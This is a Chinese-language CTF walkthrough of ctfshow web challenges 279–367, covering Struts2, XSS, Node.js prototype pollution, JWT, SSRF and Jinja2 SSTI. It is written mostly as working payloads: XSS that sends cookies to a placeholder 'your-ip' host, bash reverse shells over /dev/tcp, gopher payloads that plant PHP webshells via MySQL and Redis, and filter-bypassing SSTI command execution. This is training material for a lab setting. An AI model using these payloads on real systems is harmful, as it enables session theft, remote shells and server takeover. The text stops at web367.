ctfshow-Web入门刷题记录3

参考:

CTFshow-WEB入门-node.js

Node.js 常见漏洞学习与总结

CTFSHOW nodejs篇

关于Prototype Pollution Attack的二三事

SSRF常见绕过思路

CTFshow-WEB入门-SSTI

CTFSHOW-SSTI

java

web279-297

使用工具即可

python Struts2Scan.py -u http://069d45bf-4a11-4909-8faf-1a1afff8fd0b.challenge.ctf.show/S2-001/login.action

python Struts2Scan.py -u http://069d45bf-4a11-4909-8faf-1a1afff8fd0b.challenge.ctf.show/S2-001/login.action -n S2-003 --exec

根据提示echo FLAG易知flag在环境变量里,故执行env命令即可

web295可以用里面的图形化工具(S2-048漏洞)

web298

反汇编一下看看登陆的逻辑即可

/ctfshow/login?username=admin&password=ctfshow

web299

源码中发现

<!-- /view-source?file=index.php -->

进行文件读取

/view-source?file=WEB-INF/web.xml
发现com.ctfshow.servlet.GetFlag,去读该class文件
/view-source?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
发现/fl3g,去读该文件即可获得flag
/view-source?file=../../../../../fl3g

web300

有点逆天,一打开看见php还以为开错题了。。。

跟上一题步骤一样

/?file=WEB-INF/web.xml
/?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
/?file=../../../../../f1bg

XSS

web316

反射型xss

<script>document.location.href='http://your-ip:your-port/?p='+document.cookie</script>

然后在自己的vps上开启监听即可

python3 -m http.server your-port

也可以用nc

nc -lvp your-port

web317

过滤了script

<body onload="document.location.href='http://your-ip:your-port/?p='+document.cookie"></body>

web318-319

在上一题基础上又过滤了img

<body onload="document.location.href='http://your-ip:your-port/?p='+document.cookie"></body>

web320-326

过滤了空格,可以用tab键或者注释\**\代替,web323开始过滤了iframe

<body/**/onload="document.location.href='http://your-ip:your-port/?p='+document.cookie"></body>

<body onload="document.location.href='http://your-ip:your-port/?p='+document.cookie"></body>

web327

存储型xss,记得收件人要写admin

<body/**/onload="document.location.href='http://your-ip:your-port/?p='+document.cookie"></body>

web328

注册用户时在密码处插入xss

<script>document.location.href='http://your-ip:your-port/?p='+document.cookie</script>

然后拿到管理员的session,利用该sessionadmin身份去查看用户管理界面,最后在/api/?page=1&limit=10页面可以得到flag

web329

直接向vps发送网页源码即可,注册用户的密码如下

<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1){window.location.href='http://your-ip:your-port/?p='+value.innerHTML;}});</script>

web330

在用户名处插入我们的payload,使得管理员修改自身密码

<script>window.location.href='http://127.0.0.1/api/change.php?p=evo1'</script>

过一段时间后用密码evo1登录admin即可,flag在用户管理界面的第一行欢迎语句处

web331

改用post修改密码

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'evo1'}});</script>

web332

用下面的payload作为用户名创建账户使得admin给用户a转账,然后购买flag即可

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'abc',a:'10000'}});</script>

这里注意下最好按照要求注册帐号(密码至少为6位),不然可能出现购买flag时,即使登录也显示未登录的情况

web333

方法一

可以给自己转账,金额比自己余额小即可

方法二

用下面的payload作为用户名创建账户使得admin给用户a转账,然后购买flag即可

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'abc',a:'10000'}});</script>

nodejs

web334

审计源码

user.js

module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};

login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);

if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}

});

module.exports = router;

关键点在这一句代码

name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password

可以直接小写绕过

ctfshow/123456

也可以用一下大小写漏洞

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

ctfſhow/123456

web335

源码中发现提示<!-- /?eval= -->,直接命令执行即可

/?eval=require('child_process').execSync('cat fl00g.txt').toString()

child_process.execSync(command[, options])

web336

上一题的payload被过滤了,换一个函数用

/?eval=require('child_process').spawnSync('ls').stdout.toString()
/?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
/?eval=require('fs').readFileSync('fl001g.txt').toString()

另一个思路

/?eval=__filename
/?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')

查看源码

var express = require('express'); 
var router = express.Router(); /* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var evalstring = req.query.eval;
if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){
res.render('index',{ title: 'tql'});
}else{
res.render('index', { title: eval(evalstring) });
}
});
module.exports = router;

直接用fs模块

/?eval=require('fs').readdirSync('.')
/?eval=require('fs').readFileSync('fl001g.txt','utf-8')

也可以用+拼接,但记得url编码一下

/?eval=require('child_process')['exe'%2B'cSync']('cat fl001g.txt')

web337

给出了源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

数组绕过

/?a[]=1&b[]=1
/?a[]=1&b=1
/?a[x]=1&b[x]=1

web338

关键点在login.js中的这一部分

utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}

其中copy函数源码

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

原型链污染(记得使用json

{"__proto__":{"ctfshow":"36dboy"}}

web339

login.js中有

utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}

copy函数在common.js

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

api.js中有

router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});

所以先对login发包进行污染

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-ip/your-port 0>&1\"')"}}

然后POST访问api即可反弹shellflag

export | grep ctfshow

因为该题使用的ejs是漏洞版本的,所以也可以

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-ip/your-port 0>&1\"');var __tmp2"}}

web340

这里与上题不太一样

var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);

所以需要向上污染两次

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-ip/your-port 0>&1\"')"}}}

web341

ejs rce,然后随便访问页面触发即可

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-ip/your-port 0>&1\"');var __tmp2"}}}

web342-343

变成了jade模板(几个node模板引擎的原型链污染分析

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xx/xx 0>&1\"')"}}}

web344

看下给的代码

router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

需要知道nodejs在处理传入的相同变量时,并非进行覆盖,而是全都放到一个数组里,而JSON.parse会把数组里的内容用,连接起来

不同服务器对参数的处理

var arr = ['{"name":"admin"','"password":"ctfshow"','"isVIP":true}'];
var query = JSON.parse(arr);
console.log(query)
// { name: 'admin', password: 'ctfshow', isVIP: true }

故可以用下述payload绕过对,的检测

/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

这里把c进行url编码,是因为双引号的url编码是 %22,和 c 连接起来就是 %22c,会匹配到正则表达式。

jwt

web345

源码中发现<!-- /admin -->,将cookie中的auth字段base64解码一下并替换其中的useradmin

{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1680789865,"exp":1680797065,"nbf":1680789865,"sub":"admin","jti":"831d5be4047a4e23022cf741ea154483"}]

base64编码后访问/admin/即可

web346

利用在线工具加解密即可

密钥为:123456

也可以利用将alg改为none,然后利用yu22x的脚本加密下

import jwt

# payload
token_dict = {
"iss": "admin",
"iat": 1680798024,
"exp": 1680805224,
"nbf": 1680798024,
"sub": "admin",
"jti": "23661f858b71f258fdffb3c9a7c69d44"
}

# headers
headers = {
"alg": "none",
"typ": "JWT"
}

jwt_token = jwt.encode(token_dict, # payload, 有效载体
key='',
headers=headers, # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
algorithm="none", # 指明签名算法方式, 默认也是HS256
) # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str

print(jwt_token)

web347

利用在线工具加解密即可

密钥为:123456

web348

利用该工具爆破

docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4MDc5ODU2MywiZXhwIjoxNjgwODA1NzYzLCJuYmYiOjE2ODA3OTg1NjMsInN1YiI6InVzZXIiLCJqdGkiOiJmNTI1ZWRkNDJmNGRkNDA5MjI3MzFkYTk4YmFhZGEwMyJ9.HcuFjlWJRS0L-GCXiP8EC2V5o8XtA0TWyBhuspgyxLM

得到密钥为aaab,然后加密访问/admin/即可

web349

查看源码

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

访问/private.key可以获取到私钥

可以本地复现一个环境(注意jsonwebtoken@8.5.1,版本太新会报错的),也可以直接运行下面的代码

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

拿到后记得要POST访问/

web350

访问/public.key可以获取到公钥,放到public目录然后本地复现下

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'\\public\\public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });

res.cookie('auth',token);
res.end('where is flag?');

});

改掉路径并把内部字段改成adminHS256即可,然后带着Cookie里面带着auth字段去POST访问/即可

SSRF

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

访问flag.php返回非本地用户禁止访问,故用ssrf

url=http://127.0.0.1/flag.php

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

过滤了localhost127.0.0

进制转换工具

url=http://127.0.0.1/flag.php
url=http://127.0.1/flag.php
url=http://127.1/flag.php

也可以进制转换
url=http://0x7F000001/flag.php
url=http://0x7F.00.00.01/flag.php
url=http://2130706433/flag.php

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?

进制转换或者127.1

url=http://127.1/flag.php
url=http://0x7F000001/flag.php

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

用现成的302跳转

url=http://sudo.cc/flag.php

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

限制了长度

url=http://127.1/flag.php

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

限制了长度

url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>

在自己的服务器上放个302.php然后直接访问即可

<?php
header("Location:http://127.0.0.1/flag.php");

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

正则意思是以http://ctf.开头,以show结尾

url=http://ctf.@127.0.0.1/flag.php#show
url=http://ctf.@127.0.0.1/flag.php?show

可以自己看下各个部分代表什么

<?php
error_reporting(0);
$url = "http://ctf.@127.0.0.1/flag.php#show";
$x = parse_url($url);
var_dump($x);
?>

web359

提示打无密码的mysql,利用该工具Gopher

放到returl然后对后面部分再次url编码

returl=gopher://127.0.0.1:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%34%35%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%32%32%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%33%31%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%32%32%25%32%30%25%36%39%25%36%65%25%37%34%25%36%66%25%32%30%25%36%66%25%37%35%25%37%34%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%32%32%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%31%25%32%65%25%37%30%25%36%38%25%37%30%25%32%32%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31&u=Username

访问a.php命令执行即可

http://df264cae-259e-47bf-9466-87850c93f6a3.challenge.ctf.show/a.php
POST:
1=system("cat /flag.txt");

web360

提示打redis

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

Gopherus

web360

注意要两次url编码,并且默认生成的是shell.php

url=gopher://127.0.0.1:6379/_%25%32%41%31%25%30%44%25%30%41%25%32%34%38%25%30%44%25%30%41%66%6c%75%73%68%61%6c%6c%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%25%30%44%25%30%41%31%25%30%44%25%30%41%25%32%34%32%38%25%30%44%25%30%41%25%30%41%25%30%41%25%33%43%25%33%46%70%68%70%25%32%30%65%76%61%6c%25%32%38%25%32%34%5f%50%4f%53%54%25%35%42%31%25%35%44%25%32%39%25%33%42%25%33%46%25%33%45%25%30%41%25%30%41%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%64%69%72%25%30%44%25%30%41%25%32%34%31%33%25%30%44%25%30%41%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%30%25%30%44%25%30%41%64%62%66%69%6c%65%6e%61%6d%65%25%30%44%25%30%41%25%32%34%39%25%30%44%25%30%41%73%68%65%6c%6c%2e%70%68%70%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%73%61%76%65%25%30%44%25%30%41%25%30%41

最后

http://3f5ff281-2fcd-4eb5-9043-323fdb5c4ed8.challenge.ctf.show/shell.php
POST:
1=system("cat /flaaag");

SSTI

网上找到的一些有用的知识点

__class__            类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。

request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>

网上的一些过滤器

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};

list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload;

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length()返回字符串的长度,别名是count

web361

提示名字就是考点,所以猜测注入点是参数name

/?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__["popen"]("cat /flag").read()}}

web362

过滤了数字23

方法1

多个1相加

/?name={{().__class__.__mro__[1].__subclasses__()[1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1%2b1].__init__.__globals__["popen"]("cat /flag").read()}}

方法2

利用(dict(a=b,c=d)|join|count)构造出2,然后66*2=132即可

/?name={% set e=(dict(b=c,c=d)|join|count)%}{{().__class__.__mro__[1].__subclasses__()[e*66].__init__.__globals__["popen"]("cat /flag").read()}}

# 也可以用([a,b]|count)构造出2
/?name={% set e=([a,b]|count)%}{{().__class__.__mro__[1].__subclasses__()[e*66].__init__.__globals__["popen"]("cat /flag").read()}}

方法3

x可以是任意一个字母

/?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

方法4

利用url_for

/?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
/?name={{url_for.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}

web363

过滤了'"

方法1

利用request.arg绕过过滤

/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag

方法2

通过url_for找到chr来拼接

/?name={% set chr=url_for.__globals__.__builtins__.chr %}{{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()}}

/?name={% set chr=url_for.__globals__.__builtins__.chr %}{{url_for.__globals__.__builtins__.eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))}}

方法3

利用config拿到字符串

# popen
/?name={{config.__str__()[17]%2bconfig.__str__()[2]%2bconfig.__str__()[17]%2bconfig.__str__()[43]%2bconfig.__str__()[3]}}

/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[config.__str__()[17]%2bconfig.__str__()[2]%2bconfig.__str__()[17]%2bconfig.__str__()[43]%2bconfig.__str__()[3]](request.args.b).read()}}&b=cat /flag

web364

在上一题基础上又过滤了args,可以使用cookies

/?name={{().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[request.cookies.a](request.cookies.b).read()}}
Cookie:
a=popen;b=cat /flag;

web365

又过滤了中括号[]

方法1

直接用.就可以了

/?name={{x.__init__.__globals__.__builtins__.eval(request.cookies.a)}}
Cookie:
a=__import__('os').popen('cat /flag').read()

方法2

使用getitem

/?name={{x.__init__.__globals__.__getitem__(request.cookies.b).eval(request.cookies.a)}}
Cookie:
a=__import__('os').popen('cat /flag').read();b=__builtins__;

方法3

使用request.values

/?name={{x.__init__.__globals__.__getitem__(request.values.b).eval(request.values.a)}}&b=__builtins__&a=__import__('os').popen('tac /flag').read()

web366

在前面的基础上又过滤了_,考虑用lipsumattr过滤器

/?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag

/?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
Cookie:
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

web367

在前面的基础上又过滤了os

